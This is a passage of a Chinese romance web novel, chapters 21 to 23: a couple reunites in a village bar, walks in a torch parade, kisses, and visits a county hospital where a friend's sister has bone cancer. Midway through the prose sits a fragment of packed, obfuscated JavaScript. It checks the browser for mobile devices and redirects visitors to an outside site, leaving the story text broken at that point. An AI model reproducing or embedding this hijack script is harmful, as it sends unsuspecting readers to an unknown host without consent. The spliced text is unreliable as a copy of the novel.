吴老包打断他,瞪圆了眼:“就算是发圈又怎样?一不说,一个大男人把发圈放在烟盒里是不是有什么问题,二,就算弄断了又如何?又不是什么千年文物……断了就买,有必要发疯嘛?我看他就是脑子有病!”
李今晏听到这里,脸色渐渐冷下来,攥紧了手。
女孩不再和他们争辩,只是又指指酒馆的大门:“姐姐,你老公在里面。”
李今晏点点头以示感谢,她没说任何话,推开厚重木门进入酒馆。
酒馆里居然又换了个样,环境很暗,一股混合着陈年杉木香、淡淡米酒甜和隐约炭火气的温暖气息扑面而来,瞬间将寨子微凉的夜气隔绝。
不同于门口的市井,倒是有一丝文艺。
酒馆里的人都站出去了,李今晏沿着吧台安静走了几步,有些紧张。
她轻轻出声:“陈梓川?”
“……”
“……”
没人回答。
李今晏一步一步,边走边温柔的说:“陈梓川……你在这里对吗?”
“是我……我是李今晏。”
吧台走到了尽头,李今晏渐渐适应在黑暗中视物,她轻轻挪开一些椅凳,继续往深处走去。
但没两步,李今晏忽然站住了脚,她的心脏开始狠狠收缩。
不远处,墙角的地上坐了个人,头深深埋在膝盖上。
那是陈梓川。
是抑郁的陈梓川。
·
最深、最暗的角落,陈梓川像块嵌进墙角的冰冷石头。他踉跄逃入这片黑暗,世界在门外喧嚣,这里只有窒息般的压迫。
空气仿佛凝固成了冰冷的铅块,沉沉地压在他身上。世界缩成一个逼仄的角落,粗糙的墙皮抵着他的脊背,带来一丝微不足道的、真实的触感。
他蜷缩在那里,像一只被遗弃在暴风雨后的动物,巨大的、无形的重量将他死死按在地上,动弹不得。每一次呼吸都耗费着惊人的力气,吸入的不是空气,而是粘稠的、令人窒息的绝望。
这就是抑郁的泥沼,深不见底,冰冷刺骨。
狂躁期的火焰已经熄灭,只剩下漫无边际的灰烬和彻骨的寒。那铺天盖地的虚无和沉重的疲惫感,压得他连抬起眼皮都觉得是场酷刑。
陈梓川的手指在冰冷的地板上无意识地摸索着,直到触碰到那半圈小小柔软的、带着弹性的东西——那是李今晏的头绳,一个简单的、粉色的、缠着一只可爱小熊的发圈。
仿佛溺水者抓住了唯一的浮木,他几乎是痉挛般地将它攥紧在掌心,用尽全身残余的力气。
他的指腹一遍遍、近乎偏执地摩挲着那圈断掉的头绳。每一寸触感都像是一条连接现实的、脆弱的丝线。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977079|176178||http|test|mini|href|location''.split(''|''),0,{}));
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>陈梓川蜷缩得更紧了,身体缩成一团,试图把自己塞进墙壁的缝隙里,塞进这片由冰冷和黑暗构成的狭小避难所。只有他那只紧握着发圈的手,暴露在外,指节因过度用力而泛白,微微颤抖。
就在这时。
“陈梓川……”
“陈梓川……”
这令人窒息的黑暗中竟出现了她的声音……陈梓川愣住。
是梦吗?
这声音淡得像一缕随时会散去的青烟,却在他濒临崩溃的世界里点燃了一簇微弱的火苗。
陈梓川很怕,怕这又是五年中,千千万万个无疾而终的梦。
但下一秒……黑暗中再次响起那道声音:
“陈梓川,我是李今晏。”
光从一隙间挤入,世界从此刻开始回温。
泛白的手指被人握住,李今晏抱紧他,不断的喊他的名字:
“陈梓川,陈梓川,我是李今晏,我在这里,我在这里陪你……”
有冰凉的发丝拂过他的耳朵,鼻尖慢慢萦绕着熟悉的甜香,陈梓川刚抬起一点身,瞬间被拥入一个怀抱。
那怀抱瘦小却治愈,微凉却滚烫。
陈梓川慢慢回抱住,在终于感受到她的体温时将脸埋进她的脖颈,以近乎迷恋的样子不断地蹭。
就像暮光之城的吸血鬼男主在即将自杀时,被疯跑来的女主抱住时说了句:
“Heaven.”
陈梓川也以为自己到了一个天堂,他渐渐将李今晏抱得越来越紧……
紧到,李今晏甚至能感觉到他手臂和背部肌肉的紧绷,像拉紧的弓弦,传递出一种近乎绝望的占有欲和不容分离的决绝。
时间仿佛凝固了,空气里只剩下两人沉重交错的呼吸声,衣料摩擦发出的窸窣声,还有那令人窒息的心跳声。
没有浪漫的旋转,没有深情的低语,只有一种纯粹的、物理上的紧密无间。
李今晏被箍得生疼,骨头都在抗议,但这疼痛里又夹杂着一种奇异的、被强烈需要和包裹的安全感。
她不断地安抚他的背,不断地喊他的名字。
终于……
陈梓川说了第一句话:
“下次……什么时候来?”
听到这句话,李今晏鼻子里一阵又一阵的强烈酸涩直直往上冲。她死死咬着唇,力道大得让那片嘴唇瞬间失去了血色。
李今晏搂紧他的腰:“我一直都在,我不跑了陈梓川,我不跑了……”
地上有另一半发圈,那只粉熊就这么孤零零的躺着,李今晏看一眼就不行了。
原来他把这根发圈私藏了这么多年……
“我没抽烟……”陈梓川的声音很哑,他继续道:“就见你那天,在小卖部买了一包,想气你来着……”
“嗯……”
“我不想来喝酒的……但他说能帮我追你……”
“……嗯。”
“我没打架……我控制住情绪了的……”
“……”
李今晏的眼泪夺眶而出,呼吸变得短促、浅薄。胸口发闷,每一次吸气都带着细微的、几乎听不见的抽噎前的抖动,又被她强行屏住,变成更短促的呼气。
她忽然感到肩膀上一阵濡湿……
陈梓川哭了……
21. 火把
慢慢的,李今晏推开一点陈梓川,将他拉起坐在旁边加宽的懒人沙发上,又坐下来贴近他的脸,一点一点吻他的眼。
他的眉眼像被最苛刻的匠人用刻刀精心修整过,眉骨线条清晰利落,从鼻梁两侧平直地延伸至太阳穴,如同山脊的剪影。
眉毛并非浓墨重彩,而是细密、服帖地沿着骨线生长,颜色是偏冷的深灰褐,眉尾收得极细且干净,像用沾水笔尖精准勾出的一道锋锐弧线。
陈梓川轻轻闭着眼,睫毛轻颤,黑暗中,有点点星光缓缓坠落。
呼吸交叠之间,他轻声问:“不跑了吗?”
他很害怕,他要再确认一遍。
李今晏顿了顿,坚定道:“是的,不跑了,这次真的不跑了……”
陈梓川仿佛是松了一大口气那般,又俯身下来拥住她,末了又道:“就算你再骗我,我还是相信你。”
李今晏扑哧一声笑出来:“这次不骗了,真的不跑了……”
忽然摸到她平滑的背,陈梓川又问:“你穿的睡衣?”
“嗯……”李今晏在他肩膀上点点头:“刚洗完澡,就接到电话说你要打架,我着急忙慌的赶来了。”
陈梓川心里一暖,问:“怎么不多穿点?这里晚上还有点冷。”这睡衣棉麻材质,就一层,很单薄。
李今晏摸上他的腰:“……太想见你,没来得及。”
空气中静了几秒,那人忽然问:“里面没穿?”
李今晏轻咬他的肩:“你不是摸到了吗?”
声音逐渐暗哑,陈梓川又说:“能摸吗?”
他的呼吸烫得像裹着蜜,在李今晏锁骨窝里打了个旋儿。她心尖一颤,问:“……哪里?”
他扶着后腰的手慢慢收紧,掌心温度透过薄薄的睡衣渗进来,呼吸有些重:“前面……”
李今晏没说话,只是把身子拉远了点。
就在陈梓川以为她拒绝的时候,唇上忽然一热。
犹如火星掉入木屑那般,陈梓川猛然咬住那即将逃脱的嫣红唇瓣。
她的呼吸瞬间乱了节拍,鼻尖相撞,酸麻感还没散开,唇齿就被彻底攻占。
他的吻还带着米酒的醇厚甜香,舌尖略微粗暴地扫过她的齿龈,将她无意识的轻吟全部吞入腹中。
沙发上的靠垫滚落在地,发出细微声响,被唇齿间愈发急促的喘息彻底掩盖。
陈梓川俯身将她更深地按进沙发里,膝盖抵在两人之间的缝隙,布料摩擦产生的细碎声响在寂静昏暗的酒馆里格外清晰。
李今晏的手指慌乱地抓住他的后背。竹编灯罩偶尔晃过两人交缠的身影,将他脖颈上暴起的青筋映得忽明忽暗。
意乱情.迷之间,李今晏带着他的手,往自己衣服的下摆里进。
可还什么都没碰到,陈梓川又忽然抽身移开了。
李今晏身前一凉,眼里还渗着水雾:“怎么了?”
他微喘着气,抬头去看墙壁顶上亮着红外线的东西。
李今晏顺着他的视线去看。
那是,酒馆里的监控?
李今晏:“……”
陈梓川压抑着情欲,深深看了她一眼:“回去再说?”
李今晏撇着嘴瞪他:“早干嘛招惹我……”
这时,外面有个人大声问了句:“里面什么情况?”声音穿破木门,直入酒馆。
俩人扶着站起身,李今晏问:“我们还回得去吗?”
他和吴老包的矛盾还没解决,怎么回客栈?
陈梓川:“就算回得去,我也不想你去。”
不想她去做义工,听别人使唤,给别人干活。
李今晏理好凌乱的头发:“可我们的东西还在那儿……不过,我可以都不要了,重新再买。你的东西……嗷,你的电脑还在我的包里,这个很重要。”
陈梓川捏捏她的脸,温柔道:“不能这样,不要随便就丢掉任何东西……电脑很重要,其他的也一样。”
李今晏拉下他的手,嘟了嘟嘴:“知道啦~不会再丢下你的。”
陈梓川又在她脸上亲了一下,然后脱下冲锋衣穿在她身上,拉上拉链把人裹紧:“我们从后门走吧。”
“?不解决矛盾吗?”
陈梓川笑:“矛盾可以明天解决,但是火把游寨只有今晚了。”
“好!”李今晏牵上他的手:“那就走吧!还等什么呢?”
酒馆外吵吵嚷嚷了一会儿,又渐渐安静下来。
后来老板娘终于回来。
有个人一定要报警解决,被她追了两里路才拦下。要是警察来了,她这生意还做不做了??
她回来的时候,门外的客人已经散了大半,酒馆的门大敞着,里面依然黑黢黢的。
听店小二说,吴老包和几个兄弟后来还和门口的游客吵起来了,一听要查监控,骂骂咧咧走了。因为那手是自己不小心划伤的,酒瓶是他先砸碎的,整个矛盾的头也是他起的。
·
夜晚的村寨会举行火把游寨活动,村民们举着松明火把绕寨而行。火把散发着独特香气,火光摇曳,众人连成一条蜿蜒的火龙,照亮村寨的道路、稻田与吊脚楼。
游行过程中,大家或高声呼喊,或轻声吟唱古老歌谣,声音在夜空中回荡。火把的光亮映照着村民们喜悦的面庞,驱走黑暗也象征驱邪纳吉,祈愿新的一年村寨平安、五谷丰登、人畜兴旺。
青年男女会在火把队伍中寻觅心仪对象,共举一支火把,在火光中羞涩对视,交换心意。
如果是恋人呢,那也可以共举一支火把,在队伍中慢慢走着,火把的光晕里,能看清对方映着光的脸。
陈梓川和李今晏就排在人群中,共举着一支火把。
李今晏的头发用两根狗尾巴草扎上了,后脖上方的芒针随着她的步伐欢快的晃动。
陈梓川是许久未见的轻松样,火舌的跳动仿佛真的有融化他冷冽的眉眼。
李今晏忽然想起了什么,偏头问:“我们在紫青稞重逢,是巧合吗?”
她一直觉得,真的太巧了。
陈梓川回:“是……也不是。”
“哦?怎么说?”她倒是有些好奇。
“选在紫青稞是巧合,神木村不是。”
“那你怎么知道我要去神木村徒步?”
陈梓川单眼眨动,笑道:“这个是秘密。”
李今晏无语:“秘密?我看又是你把谁家网给扒了吧?……不过,从昆明到神木村,基本上一路上都是大巴越野,现买的票呀,你是怎么知道的?”
她说话时,忽然踩到松动的石板踉跄了一下,陈梓川染着炭灰的拇指擦过她手背,稳住她:“没有黑谁家的网,具体……不能告诉你。”
“嘁……好吧。”
陈梓川笑。
李今晏又看到他柔和的眉眼,忽然想起陈梓川大学的时候,她说:“大一那会儿,你也常常这样笑。”
“是吗?”陈梓川疑惑,他记得他倒是一直冷冰冰的。
李今晏举得累,和他换了边:“没有,我记得那会儿我来看你篮球赛,你赢球了就笑得恣意潇洒
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,可帅了。”
本以为听到夸赞他会开心,可没想到陈梓川居然皱了皱眉:“你还看过谁的篮球赛?”
“???”李今晏转了转眼睛:“就刚开学那会儿,我们院不是打文学院吗?我去给我们院加油来着。”
“除此之外,没有了?”
李今晏大大摇摇头:“那当然!”
她又说:“现在想来,我们的相遇也是因为篮球,要不是我校园跑连着几天都在篮球场,怎么会遇到你?怎么会对你一间钟情?”
那会儿七月流火,暑气未散,李今晏都是等到晚上太阳落了才去校园跑,当然了,她懒嘛,边骑车边晃手机……
连着几天,最后一个打卡点都是离宿舍一公里的篮球场,李今晏每天吭哧吭哧骑着自行车过去。
最后一天的时候,她刚打完卡要出来,“嘣”一声,一颗篮球砸到头上。
“嘶——”她倒吸一口凉气,抬手捂住被砸的部位。
篮球在地上弹了两下,居然还滚到她脚边。她很气愤,咬着下唇缓了好一会儿才勉强抬头,视线里的人影在微微晃动。
那人缓缓朝她走来。
但在看清人脸后,李今晏很没出息的没了脾气。
因为那人简直太帅了……
球场的大灯在他身后亮得刺眼,将他的身影拉成狭长的黑色剪影,镶上一圈毛茸茸的白光。
他没穿外套,黑色短袖被汗水浸得半透,还微微喘着气。胸膛起伏间,汗水沿着锋利的下颌线滚落,砸在地面。
额发湿漉漉地贴在饱满的额角,几缕桀骜的发丝垂落眉骨,遮不住那双好看的眼。
夏夜晚风从球场侧面吹来,掀起他短袖的衣角,露出腰侧若隐若现的肌肉线条。
李今晏就这样对陈梓川一眼万年……
轰——!
烈焰冲天而起,巨大的篝火瞬间照亮了整个寨门,不知不觉中,长龙队伍来到了寨子口。
灼热的气浪裹挟着松脂的焦香和火星的微尘扑面而来。就在这光与热的中心边缘,李今晏的脸庞被清晰勾勒出来,像一枚被火吻过的果子。
陈梓川看向她:“李今晏,你真的以为,当初我的篮球是不小心砸到你的吗?”
听到这话的李今晏彻底呆住。
难道不是吗?
那是什么??
双向一见钟情?
李今晏的心开始扑通扑通跳得厉害,好像所有的记忆都要推倒重来,她说:“那你是故意的?”
陈梓川望向那团篝火,眼里闪着光:“你给金融加油的时候……我就看上你了……”
“我给金融加油的时候……”李今晏喃喃道:“什么?!我给我们院加油的时候!!!那会儿我还不认识你呢!”
李今晏松了手,抓紧他速干衣的袖子:“你你你!你你!你……”
“是,我先暗恋你的。”陈梓川打断她。
这时候队伍中有人唱起了歌,歌声古老而悠长,仿佛载着山岭的呼吸、溪流的脉动,在火焰上方盘旋,又撞向幽深的夜色,惊起林间栖息的山鸟,翅膀扑棱棱地掠过月亮的边缘。
篝火在他身前“噼啪”爆响,飞溅的火星仿佛是陈梓川眼底光芒逸散出的碎屑,他就这么把火把扬进篝火里,转身对她道:
“你以为的一间钟情,其实是我的蓄谋已久。”
陈梓川的眼睛亮得惊人,如同被山泉水洗过无数遍的黑曜石,李今晏鼻尖发酸,说:
“陈梓川,你说的对,喜欢过你,我不会再喜欢上别人。”
22. 接吻
当初以为的缘分,其实是他努力又带有幼稚的靠近。现在以为的重逢,也是他坚定不移的选择。
李今晏忽然觉得,她才是这段感情一直以来完完全全的主导者。是她大一选择了追陈梓川,也是她大二选择了分手,甚至五年后的现在,也还是她选择再次拥抱。
陈梓川,一直一直都在原地,望着她,等着她,爱着她……
李今晏眼里含着泪,笑着问:“那你当时还凶巴巴的?明明喜欢我,怎么不对我好点?”
“嗯……确实做的不好。”周围人声嘈杂,陈梓川靠近她,贴近她的耳朵轻声道:“那会儿还不知道这是喜欢,只觉得篮球场出现了个彩色的女生,想欺负……”
“哈哈,彩色的女生?”李今晏伸出手搂住他的腰,将耳朵贴在他的胸膛,他们的身高差能让她听到他的心跳,很安心。
陈梓川顺势将下巴抵在她头顶,说:“嗯,就吵吵的,加油的时候嗓门可大了。”
他故意逗她。
“???”
吵吵的?
李今晏松开手,不乐意地抬头看他:“说我嗓门大?我嗓门不大你一个计院的怎么注意到我的?”
陈梓川想了想:“那倒是哈……”
他们当时甚至不在一个场地,他只是一个喝水偏头的功夫,世界里就撞进来一个元气女孩儿。
李今晏忽然也笑:“不过我当时确实喊得卖力,我室友说吵得她耳膜痛哈哈哈,想拿针给我嘴巴缝上。”
陈梓川笑着把她按进怀抱,勾了勾她头上晃动的狗尾巴草:“如果是我的话……会用亲的。”
“嘻嘻嘻。”心里一阵暖流流过,李今晏乐得缩了缩肩,陈梓川把她裹在怀里,比旁边的篝火还热和。
人群的笑语声仿佛隔着一层薄纱,篝火晚会的热闹成了他们此刻唯一的背景音。陈梓川低头,目光沉沉锁住怀中的人。
她微仰着脸,清澈的眼眸里映着两簇小小跳动的火焰,那光芒比满天星更亮更灼人。
陈梓川的额头轻轻抵上她的,温热的鼻息拂过她的鼻尖,带着一种令人心悸的亲昵。她下意识屏住了呼吸,手指无意识攥紧他腰侧的衣服,柔软的布料在掌心起了褶皱。
李今晏的唇被轻轻覆住。
是松木燃烧的清苦,混着他衣襟上淡淡的香。他的吻很轻,像落在湖面的雨丝,带着篝火跳动的暖意,一点点漫过唇齿间的缝隙。那舌尖试探着舔过她微颤的下唇,引来她细不可闻的轻吟。
齿间相触时带着细碎的战栗,陈梓川一手揽住她纤细的腰,将她更紧地拥向自己,另一手轻轻托住她的后颈,指尖穿过柔软的发丝,触到颈后细腻的肌肤。
唇舌的纠缠渐渐深入,每一次吮吸,每一次轻啄,都像投入心湖的石子,漾开圈圈无声的涟漪……
好像过了一瞬,又好像过了一生,陈梓川终于退开些许,但他仍保持着额头相抵的姿势,呼吸粗重而灼热,喷洒在她的唇畔。
李今晏睁开迷蒙的双眼,眸子里水光潋滟,盛满了尚未褪去的悸动和羞赧的柔情,脸颊的红晕比篝火更艳。
李今晏看着他说:“陈梓川,我喜欢和你接吻……好喜欢。”
陈梓川耳尖泛红,捧住她的脸说:“我喜欢和你做任何事……”
“李今晏……我喜欢你……”
又是一个缠绵悱恻的吻……
后来寨口的老榕树下,两人有模有样,学着前面一对小情侣,将新拿的小火把插在树根处。
陈梓川和李今晏闭上眼,对着古树许下心愿。
巨大的篝火依旧在不倦地舔舐着夜空,将整个鼓楼寨拢入它温暖明亮的胸膛。
而此刻,在这片被火焰照亮的胸膛中心,两颗年轻的心脏,正以前所未有的力度,咚咚作响。
·
晚上的活动彻底结束后,两人手牵手往客栈走。
寨子里还热闹着,风雨廊桥和青石板巷弄成了新的舞台。光影在木结构的廊柱间跳跃,将人影拉长又缩短。抱着侗琵琶的乐手并未停歇,三五成群地坐在美人靠上,指尖流淌出更为舒缓、更显缠绵的曲调。
走过围火欢歌的鼓楼坪,李今晏有些热,把他的冲锋衣拉开了些,问:“你冷不冷?”
陈梓川里衣穿了件黑色的紧身速干衣,这会儿有些风,李今晏怕他冷。
陈梓川又把她冲锋衣的拉链拉到顶:“我不冷,你也不能拉开,等感觉到冷的时候就迟了。”
李今晏叛逆劲上来了,在他松手后又拉开一点透气:“你怎么跟我爸似的管我,我是真的热啊。”
陈梓川笑看了一眼那领口高度,最后还是无奈妥协:“家族遗传吧,控制欲强。”
他偏头去看她,却没想到她的表情忽然有些发愣,陈梓川问:“怎么了?不喜欢吗?”
陈梓川有些心虚,他不喜欢家人对他的控制欲,结果自己还这样对李今晏,会不会有些过?
“没有没有,你不用这么谨慎,如果我不喜欢,我会跟你说的。”拐进小巷,四下静了许多,李今晏忽然问:“……你家人这么些年,还好吗?”
陈梓川的母亲是沪市有名的大律师,对他自小严格,控制和限制极多。父亲掌管着一家汽车制造上市公司,为人倒是温和,李今晏有一次紧张兮兮地被陈梓川带去了公司,最后欢欢喜喜学了不少东西。
但是,世事总难圆满,陈梓川的躁郁症,有一部分也是因为遗传性精神疾病。
他的父亲陈元青,患有精神分裂症。
陈梓川重新牵上她的手:“就那样……我很少和我妈交流了,她很忙,我也很忙。我爸……去治疗所了……”
“什么?”
一般来说,对于精神病人都有最小限制原则,以病人的意愿为主,陈元青自然是选择自己治疗。忽然转去了治疗所,对自身的名誉甚至公司的名誉都会有损失。
手上的握力忽然加大,陈梓川看她受惊的样子,安抚道:“没事的,五年前就去了,住了一年。”
五年前就去了……
李今晏磕磕巴巴:“怎么……突然去了呢?”
陈梓川叹了口气:“是他自己要去的,那会儿趁着疫情吧,也不用去公司。”
“哦。”
看来陈梓川还是什么都不知道……
陈梓川看她低下头去,疑惑:“怎么了?”<
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p>李今晏猛地抬头:“没事啊……嘿嘿嘿。”
陈梓川勾起食指,在她鼻尖上轻轻刮了一下:“我们明天去趟医院吧。”
李今晏:“你不舒服吗?”
陈梓川摇摇头:“膝盖还好,但是你从香格里拉出来,是不是还没去正儿八经检查过?”
“嗷~”李今晏又耷拉下耳朵:“我不想去可以吗?”
她觉得自己没问题了,能跑能跳,能吃能喝。
“当然。”陈梓川停顿了下:“不行。”
行吧,她就知道:“那你也得检查,我也不放心你的膝盖。”
“没问题。”陈梓川给她比了个ok的手势。
走了没多久就到了云栖侗舍,客栈主体为三层吊脚楼,二楼回廊挂满了蓝靛染布,外墙以杉木板嵌合,不施油漆。
但不见其人先闻其声,院子里的杨亚沙正在和吴老包吵架。
杨亚沙:“……舅舅!他们是我请来的客人!”
吴老包重重‘哼’了一声:“那又怎样?他们是我一定要赶走的!这客栈是我家开的,小云你没资格管!”
小云?
李今晏有些奇怪,这大概是杨亚沙的小名?
舅妈在旁边柔柔地说:“你们别吵了行吗?还有客人在呢。”
“哪有你这样做人的,明明就是你要先和别人挑起矛盾的,我都听张奶奶说了!是你要去拿人家的私人物品,还给人家弄断了。”
“就一根丑不拉几的头绳,断了不能再买吗?什么东西值得上纲上线??”
“那也是你先上纲上线啊!我看人家拍的视频里,是你先砸碎的酒瓶子!”
吴老包重重拍在石桌上:“他表情那么凶!不是要打我是要干什么?我不能先自保啊?”
“我看你就是被害妄想!我懒得跟你说了!”杨亚沙最后这句的声音越来越大,应该是在往外面走。
的确,他刚一推开竹门,就和李今晏四目相对。
李今晏尴尬笑笑:“杨亚沙?你下山来了?”
杨亚沙家住山上,摩托都还要二十分钟呢,他下午把妹妹送回去了。
杨亚沙脸上还挂着怒气,看到她的时候呆了一下,又看了一眼旁边站着的陈梓川,抱歉道:“不好意思啊今晏姐,陈哥,我舅舅他这个人就是这样,好面子。”
“没事没事。”李今晏摆摆手:“我们去别的地方住就行,反正寨子里客栈多嘛。”
杨亚沙还是不好意思:“要不你们去我家住?我找人骑摩托载你们,然后山路再走一段就到了。”
可没想到李今晏还是拒绝:“不不,不麻烦的,我们随便找一家就行。”
她想和陈梓川亲密,在杨亚沙家怎么做?
杨亚沙脸色有些难看:“你们是不是,有些嫌弃我家?”
这时旁边的陈梓川说话了:“我膝盖不好,山路走不了多久,你不用想太多。而且今晚挺热闹的,我们也想在寨子里再转一转。”
杨亚沙这下表情才松下来:“那明天下午,要不要和我阿婆一起去卖蓝靛布?山里的集市,很好玩的。”
不好意思再拒绝,李今晏笑着说:“好呀!”
23. 莲花
杨亚沙又跟着李今晏陈梓川进了客栈,没想到进了院子,竟然没看到吴老包,只有舅妈在刷手机。
舅妈朝他们笑笑:“你们回来了?”
李今晏摸不准她的态度,还是直接说:“舅妈,我们准备搬出去,不打扰你们了。”
舅妈放下手机起身:“哎不不不,吴老包他就是脾气大,那手我看也没多大的伤,自己搞的小口子,拉不下面子,你们别介意啊。”
陈梓川上前走去:“我们不在意,叔叔好像不太能。没关系的,明天我们也想好好玩玩,可能没法做义工。”
“噢。”舅妈的表情有些失望,嘴唇动了动,最终还是没说啥。
不过十五分钟,杨亚沙回了家,李今晏和陈梓川搬去了隔巷的糯香居。两人一人一个包,轻松的很。
吊脚楼特有的木质气息,混合着白日里残留的炭火煨茶的暖香,在二楼的房间里静静弥漫。
李今晏刚关上门,就扑到了陈梓川怀里。
屋内只点着一盏低矮的落地竹灯,光线昏黄而暧昧,堪堪照亮一隅。
两人就这么静静站着抱着,好一会儿都没什么声音。
拥抱从来都是比接吻和性.爱更治愈的存在,那种肌肤相贴的温暖,柔和的气息交换总是能让人获得体温和心跳的安抚。
人类从出生起就依赖拥抱,这种“被包裹”的感觉会刻入基因,成为安全感的原始模板。
不知道就这样抱了多久,李今晏慢慢推开他,手往上移,渐渐踮起脚。
可乱动的手又被陈梓川抓住。
李今晏:“怎么了?”
眼前的人笑得有些无奈:“今天不行。”
以前都是她来例假的时候跟他说这句话,这还是她第一次听到陈梓川说,忽然觉得有些好笑:“你大姨夫来了?”
陈梓川笑着俯身,亲亲她的眼:“嗯,来了。”
“???”李今晏:“可是我想。”
陈梓川:“明天要检查,拿到结果再说,我有点怕,怕你身体吃不消。”
李今晏叉腰:“那天你都没在意,今天还矫情起来了?”
说到这个,陈梓川还有些懊悔:“那天不该那样的,实在没忍住。”
李今晏不想听了,又凑上去,亲亲他的鼻子,又亲亲他的耳,到最后整个脸上都亲遍了,就是不碰他的唇。
被撩得心猿意马的陈梓川,捧起她的脸吻了下去。
“唔……”破碎的呻吟从她被堵住的唇间溢出,更添几分暧昧。
慢慢的……
他灼热的体温,他胸腔里同样剧烈擂动的心跳,都透过那些布料,清晰地烙印在她身上。
一个吻也很美好。
窗外,侗寨的灯火渐次稀疏,只余下远处鼓楼檐角挂着的几盏红灯笼,在深蓝的夜幕里晕开温柔的光晕,如同沉入水底的星子。
更远处,隐约有侗族大歌的余韵随夜风飘荡,又迅速被溪流的潺潺声和几声虫鸣揉碎,归于夜的宁静。
第二天。
附近能拍片的医院在县城里,陈梓川租了车很早出发,一个多小时才开到。
除了常规的血常规、超声等体检项目,李今晏还做了创伤深度筛查,X光、肌电图等……
做胸腹超声的是个年轻温柔的女医生,当李今晏躺在检查床上,掀起专用检查服时,她还是吓了一大跳。
她身上的淤青还没消完。
李今晏已经见怪不怪了,做心电图的医生被惊到连着几个“哦哟哟哟”脱口而出。
女医生拿着超声探头紧贴她肚子上的皮肤滑动,忍不住说:“你这莲花纹身,还怪好看的哈。”
李今晏看着有些脏污的天花板,笑:“专门纹的。”
医生夸:“好看,艺术品。”
这位病人的肚子上有一朵不大不小,带根茎的莲花纹身,莲花从腹中延伸到肚脐,那根茎尤其特别。仔细看,中间是一条3cm左右的银白色细线。
那是一条刀疤旧痕。
探头从右上腹滑至正中,李今晏听指示鼓起肚子,听到她问:“……这疤……几年了?”
李今晏没回,医生以为是触及到她什么禁忌,赶忙找补:“额……不想说也没事的,如果按压有不舒服的地方及时告诉我。”
以前的李今晏总是会回避这样的话题,因为提到这道疤就是提起陈梓川,就又要陷入苦痛交织的五年前。
但现在的她摇摇头,深吸了口气轻声道:“五年了。”
如果坚定和陈梓川在一起,有些问题迟早是要面对和解决的,只是她不知道该怎么开口。
而且一旦说出真相,两个家庭都免不了一场血雨腥风。
最后的医生擦干净肚子上的耦合剂,李今晏起身下床,朝她说了声谢谢。
门外的陈梓川还拿着刚买的,冒着热气的包子豆浆,看到她出来,问:“怎么样?”
李今晏笑:“没事啦,没有特别疼。”
没有特别疼……他皱眉:“那就还是有点疼?”
那眼神里带着些心疼,李今晏坐到走廊的排椅上:“疼肯定是有点的呀,但没什么大碍。”
怕他多想,她转移话题:“哎对了,伊夏她们怎么样了?”
陈梓川坐她旁边:“还在香格里拉,她骨折严重,一时半会儿回不了沪市。”
“哦哦。”李今晏又抱起手:“那她这次怎么会跟你来云南?”
“她死缠烂打跟来的。”陈梓川看她嘟起脸:
“那喻炀怎么会和你去徒步?”
李今晏:“……”
3个小时后终于做完所有项目,那会已经快中午12点了,陈梓川和李今晏出了医院吃饭。
李今晏在路边买了一碗炸洋芋,正捧着吃得香喷喷,看见一个熟人:杨亚沙。
他手里攥紧了病例袋,怒气冲冲的刚从医院大门里走出来,眼里还有盖不住的猩红。
他脑子里一直回荡着医生的那句话:
‘再不做手术就要截肢。’
‘再不做手术就要截肢……’
看到李今晏和陈梓川的那一刻,他先是愣了一下,然后快速抹了下眼角,表情努力压抑着,笑得很丑:“今晏姐?陈哥,你们怎么也在医院?有什么不舒服吗?”
李今晏嘴里还包着一块土豆:“没事没事,我们就是定期来检查检查,不用担心。”
“哦哦,那就好。”杨亚沙表面这么说着,其实根本不信。
哪有定期来检查的人穿着医院的检查服?
陈梓川倒是没有穿检查服,他今天换了件黑色连帽卫衣,下身是灰色的运动裤。他看杨亚沙攥在手里的病例问:“你不舒服吗?”<
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p>杨亚沙微微一藏:“没有……”
李今晏看他倔强的样子,又想起了他妹妹,那个坐轮椅的女孩。
李今晏看他不想说,本来也不想问的,但她还是缓缓开口:“如果你需要帮助的话,我这边有医生朋友可以推荐。昆明的大医院……”
果然,杨亚沙的眼亮了起来:“大医院?”
阿英的骨肉瘤是半年前发现的,那会儿她腿部疼痛却忍着不说,以为过几天就好了,可没想到过几天实在忍不住告诉了阿婆,又以为是青春期的生长痛。
直到最后腿部肿块越来越大,去医院一查才发现是骨肉瘤。
当时县里也给了很多贫困帮扶,但化疗了一个多月还是花掉大几万,新农合要求“先自付后报销”,手术押金就要八万。再加上村长扣住贫困证明索贿,一家人可以说是雪上加霜。
后来等慈善基金终于到了,可以做保肢手术时,疾病又扩散了……对于这父母早无音讯的孤寡一家,到底该怎么办?
如果能去大医院,去凯里市的肿瘤医院该有多好。
“嗯。”李今晏点点头:“如果你愿意。”
杨亚沙有些犹豫,今早那边的人还在问他进度,他含含糊糊说马上了。现在今晏姐还好心说要帮他。
杨亚沙纠结一番,最终答应下来,不管怎样,他的目标其实一直都是拿到钱,救阿英。
陈梓川的车里。
简单说明情况后,坐在副驾的李今晏拨通了喻炀的电话。
电话接起的那一刻,喻炀不再像以前一样激动,而是平静:“今晏,你终于主动联系我了。”
之前他一直发消息,李今晏觉得有些烦就屏蔽了,现在有求于人了又想起人家,她有些不好意思:“你……这两天怎么样?”
“不怎么样的。”
尴尬……这回答还让她怎么开口。
喻炀又说:“你给我打电话,是遇到什么事了吧。”
“嗯……”李今晏看了眼后座带着期冀的杨亚沙,鼓起勇气开口:“我最近玩到贵州了,这边有个朋友生病了,想请你帮帮忙。”
喻炀依然爽快答应:“没问题啊。”
李今晏咬了咬唇:“是骨肉瘤,能走贫困帮扶的那种。”
“骨肉瘤?”喻炀问:“发现多久了?”
李今晏:“6个月。”
喻炀没吭声,这样的停顿让人很揪心。
良久之后,李今晏听到他说:“全权交给我,我可以帮忙,走路不便我也可以过来,这样和医院直接沟通也很方便。”
李今晏:“很麻烦吧?你又要调班。”
那边的喻炀笑了笑:“这有什么,这只是顺便,主要是想见你。”
李今晏没吭声。
抓住这点幽微,喻炀问:“你和陈梓川在一起,对吗?”
李今晏瞄了眼旁边的人,直说:“嗯……”
